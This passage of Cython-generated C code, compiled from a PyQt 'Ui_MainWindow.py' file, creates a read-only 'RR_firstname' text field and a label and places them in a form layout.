(unlikely(!__pyx_t_7)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_1, __pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_4); __pyx_t_3 = 0; __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":427 * self.label_35.setObjectName("label_35") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_firstname.setMouseTracking(False) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname, __pyx_t_7) < 0) __PYX_ERR(0, 427, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":428 * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.RR_firstname.setMouseTracking(False) * self.RR_firstname.setAcceptDrops(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__260, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":429 * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_firstname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_firstname.setAcceptDrops(False) * self.RR_firstname.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__261, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":430 * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_firstname.setMouseTracking(False) * self.RR_firstname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_firstname.setToolTip("") * self.RR_firstname.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 430, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 430, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__262, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 430, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":431 * self.RR_firstname.setMouseTracking(False) * self.RR_firstname.setAcceptDrops(False) * self.RR_firstname.setToolTip("") # <<<<<<<<<<<<<< * self.RR_firstname.setStatusTip("") * self.RR_firstname.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 431, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 431, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__263, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 431, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":432 * self.RR_firstname.setAcceptDrops(False) * self.RR_firstname.setToolTip("") * self.RR_firstname.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_firstname.setAccessibleName("") * self.RR_firstname.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 432, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 432, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__264, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 432, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":433 * self.RR_firstname.setToolTip("") * self.RR_firstname.setStatusTip("") * self.RR_firstname.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_firstname.setAccessibleDescription("") * self.RR_firstname.setText("R_FirstName") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__265, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":434 * self.RR_firstname.setStatusTip("") * self.RR_firstname.setAccessibleName("") * self.RR_firstname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_firstname.setText("R_FirstName") * self.RR_firstname.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 434, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 434, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__266, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 434, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":435 * self.RR_firstname.setAccessibleName("") * self.RR_firstname.setAccessibleDescription("") * self.RR_firstname.setText("R_FirstName") # <<<<<<<<<<<<<< * self.RR_firstname.setFrame(False) * self.RR_firstname.setReadOnly(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 435, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 435, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__267, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 435, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":436 * self.RR_firstname.setAccessibleDescription("") * self.RR_firstname.setText("R_FirstName") * self.RR_firstname.setFrame(False) # <<<<<<<<<<<<<< * self.RR_firstname.setReadOnly(True) * self.RR_firstname.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__268, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":437 * self.RR_firstname.setText("R_FirstName") * self.RR_firstname.setFrame(False) * self.RR_firstname.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_firstname.setPlaceholderText("") * self.RR_firstname.setObjectName("RR_firstname") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 437, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 437, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__269, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 437, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":438 * self.RR_firstname.setFrame(False) * self.RR_firstname.setReadOnly(True) * self.RR_firstname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_firstname.setObjectName("RR_firstname") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 438, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 438, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__270, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 438, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":439 * self.RR_firstname.setReadOnly(True) * self.RR_firstname.setPlaceholderText("") * self.RR_firstname.setObjectName("RR_firstname") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__271, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":440 * self.RR_firstname.setPlaceholderText("") * self.RR_firstname.setObjectName("RR_firstname") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) # <<<<<<<<<<<<<< * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_37.setObjectName("label_37") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_firstname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_1, __pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_1, __pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_1); __pyx_t_3 = 0; __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":441 * self.RR_firstname.setObjectName("RR_firstname") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_37.setObjectName("label_37") * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = 